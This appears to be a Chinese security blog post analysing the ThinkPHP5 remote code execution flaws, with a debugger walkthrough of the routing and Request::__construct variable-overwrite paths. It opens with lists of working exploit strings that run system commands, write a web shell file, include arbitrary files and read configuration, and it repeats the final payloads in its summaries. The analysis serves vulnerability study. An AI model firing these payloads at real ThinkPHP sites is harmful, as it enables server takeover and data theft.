ThinkPHP5_RCE分析

文章发布时间:

最后更新时间:

文章总字数:
2.2k

预计阅读时间:
8 分钟

ThinkPHP5_RCE分析

thinkphp5最出名的漏洞就是rce,rce有两个大版本的区别

  1. ThinkPHP 5.0.0-5.0.24
  2. ThinkPHP 5.1.0-5.1.30

因为漏洞具体触发点和版本的不同,导致payload分为了很多种,总体来看依然分两大种:

  1. 直接访问路由触发,由于未开启强制路由,且Request类在兼容模式下获取的控制器没有进行合法校验导致的rce

    5.1.x :

    1
    2
    3
    4
    5
    ?s=index/think\Request/input&filter[]=system&data=pwd
    ?s=index/think\view\driver\Php/display&content=<?php phpinfo();?>
    ?s=index/think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
    ?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

    5.0.x :

    1
    2
    3
    4
    5
    ?s=index/think\config/get&name=database.username # 获取配置信息
    ?s=index/think\Lang/load&file=../../test.jpg # 包含任意文件
    ?s=index/think\Config/load&file=../../t.php # 包含任意.php文件
    ?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
    ?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
  2. 另一种是因为Request类的method__construct方法造成的

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    http://php.local/thinkphp5.0.5/public/index.php?s=index
    post
    _method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
    _method=__construct&filter[]=system&method=GET&get[]=whoami

    # ThinkPHP <= 5.0.13
    POST /?s=index/index
    s=whoami&_method=__construct&method=&filter[]=system

    # ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
    POST /
    _method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

    # ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
    POST /?s=xxx HTTP/1.1
    _method=__construct&filter[]=system&method=get&get[]=ls+-al
    _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

具体使用payload的时候可以多试几条。

未开启强制路由RCE

先具体分析一下第一种的第一条,使用的版本是ThinkPHP5.1.29

可以在config文件夹下的app.php看到路径处理采取了s(兼容模式)且强制使用路由是关闭的,这个是rce的前提。

image-20230819094134133

传入?s=index/think\Request/input&filter=system&data=whoami,开始调试

image-20230819152915353

可以看到根本的逻辑就是先get构建app应用,再run,最后send返回结果,rce在run方法中发生,直接跳过get方法进入run方法。

image-20230819153247131

run方法前面也是一些初始化应用的操作,重点在这里,先通过routeCheck方法再通过init方法获得dispatch变量的值,跟进routeCheck:

image-20230819153615441

由于appDebug为开启状态(true),所以这个if直接跳过,看到后面关键的获取dispatch部分

image-20230819100121187

可以看到这里两个参数,一个是我们输入的s后面的路径,另一个must用来表示未开启强制路由模式,跟进check方法:

image-20230819100527464

可以看到这里是把我们的/换成|,url变为了index|think\request|input,后面还有很多处理,但是处理完之后还是不变,最终routeCheck返回的dispatch就是index|think\request|input,接着进行init方法的处理。

image-20230819154856942

跟进parseUrl方法,看如何解析我们传入的url

image-20230819155153929

一句话解释就是将我们传入的url按照模块/控制器/方法拆成了route数组,然后返回成最终的dispatch,回到run方法中。

image-20230819155425704

下一个关键在run方法的431行,这个闭包中调用了dispatch的run方法,跟进

image-20230819155543099

可以看到run方法里执行了this的exec,典型的危险函数,跟进到Module.php的exec,这个方法的作用就是实例化了控制器think\request,并且通过反射机制获取了url中传入的我们需要调用的方法input,且利用param方法获得请求参数,即filter=system&data=dir,总的来说就是为rce做好了准备。

image-20230819161041739

绑定好参数之后最终调用request.php中的input方法,关键是这里:

image-20230819161607864

跟进filterValue,发现里面直接call_user_func了,func是filter,data是参数,实现rce。

总结
整体思路:由于未强制开启路由且是兼容模式,我们传入的参数会被成功解析并调用,相当于按模块/控制器/方法名调用了input,再传入filter作为方法名,data作为参数实现rce。

Method任意方法调用RCE

注:下文使用版本为5.0.22

开启debug模式

分析之前先看看Request类里面危险的方法,首先是这个construct方法,在控制options的情况下就可以实现对类中变量的覆盖。

image-20230819191459207

然后是这个method方法,可以实现任意request类中方法的调用,其中这个var_method可以通过POST传入_method来改变。于是自然想到可以传入_method=construct来进行变量覆盖。

image-20230819192714334

最后是这个filterValue方法,可以实现任意方法的调用,只要我们可以控制value和filter的值

image-20230819192145838

payload:POST:_method=__construct&filter=system&server[REQUEST_METHOD]=whoami

打上断点,分析一遍流程,看看究竟是怎么调用的。

image-20230819201005722

跳转start.php,跟进

image-20230819201031327

可以看到和上一个非常像,都是run执行应用里面发生rce,跳到run方法

image-20230819201147286

一样是routeCheck方法,然后routeCheck里面关键的是Check,直接跳到Check:

image-20230819201325246

check方法的关键在这里,调用了request变量的method方法,看监视可知$request=think\Request,所以调用的就是request类里面的那个method方法,跟进:

image-20230819201543525

可以看到,由于我们是无参调用,所以这个method变量的值是false,从而进入到我们的任意request类方法调用环节,传入的是construct,跳到construct:

image-20230819201706584

进行变量覆盖,结合我们的payload中可知这次覆盖了两个变量,把filter变量覆盖成了system,把server变量覆盖成了REQUEST_METHOD=whoami,变量覆盖完成,只需要调用即可,回到run方法中:

image-20230819202107887

这是第二个关键点,由于我们的debug模式是true,所以进入到if语句,这里关键的地方就是调用了think\Requestparam()方法,跟进:

image-20230819202231013

可以看到这里再一次调用了request类的method方法,和上文不同的是传入的参数是true

image-20230819202336978

直接调用server方法,传入的字符串是REQUEST_METHOD,跟进server:

image-20230819202722431

可以看到,由于我们先前进行了变量覆盖,这里的server不是空的,就可以绕过这个替换,维持原来的值,看到后面调用了input方法,传入的参数是之前覆盖了的server和REQUEST_METHOD这个字符串

image-20230819203117792

第一处关键在这里,这里的意思就是将server[REQUEST_METHOD]也就是whoami传给了data。

image-20230819203256892

第二处关键在这里,filterValue传进去的data就是我们的rce命令,也就是whoami,而filter就是我们之前变量覆盖后的system,最终在filterValue中的call_user_func完成命令执行,这个上文说了。

总结

payload:POST:_method=__construct&filter=system&server[REQUEST_METHOD]=whoami

通过控制_method使得调用_construct方法,通过传入filter=system&server[REQUEST_METHOD]=whoami来实现变量覆盖,最后通过debug模式开启,调用param()方法来最终完成RCE。

未开启debug模式

结合上文的总结,未开启debug模式下,自然无法再利用param()方法,但是变量该覆盖的还是可以覆盖。

首先做下准备工作,先把config.php里面的debug改为false,再装多一个captcha拓展包(如果用下面的payload打不通就是缺了这个拓展),cmd输入composer require topthink/think-captcha=1.*即可。

payload:GET:?s=captcha POST:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

直接跳到无法利用的param方法位置,前面的覆盖都是一样的:

image-20230819222119354

跟进exec函数,发现对$dispatch[‘type’]进行了switch,当type是method的时候就可以调用param,后面的过程和开了debug是完全一样的,都是通过param进行rce:

image-20230819222722407

那我们需要考虑的问题就是怎么让$dispatch[‘type’]=method

在thinkphp5完整版中官网揉进去了一个验证码的路由,可以通过这个路由来使得$dispatch[‘type’] 等于 method ,从而完成rce漏洞。

具体操作就是直接通过路由访问GET:?s=captcha

之前的那种方法进入method方法后,后面的代码就不用管了,但是这种方法下面的代码仍需要进行,故需要把请求方法设置成get才能访问路由,又因为method()方法的返回值是return $this->method;,所以__construct()方法里面把$this->method覆盖成get就可以,也就是说我们post传的参要多一个method=get。

image-20230819223714279

总结

未开启debug且有captcha的时候只需要多加两步即可正常打

感谢两位大佬的文章提供的思路

Thinkphp5 RCE总结 - Luminous~ - 博客园 (cnblogs.com)

分析较为精简,但是有自行测试的各版本可行payload

thinkphp5 RCE漏洞复现_thinkphp rce_bfengj的博客-CSDN博客

分析非常详细!